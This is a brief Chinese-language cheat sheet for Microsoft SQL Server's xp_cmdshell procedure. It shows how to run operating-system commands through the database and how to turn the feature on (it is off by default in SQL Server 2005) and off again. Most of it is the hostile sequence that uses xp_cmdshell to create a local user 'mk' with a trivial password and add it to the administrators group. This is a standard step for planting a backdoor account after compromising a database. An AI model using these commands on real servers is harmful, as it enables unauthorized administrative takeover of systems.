EXEC Master..xp_cmdshell 'dos命令'
net user mk mk /add
net localgroup administrators mk /add
2005默认是被关闭的.
打开
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
关闭
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE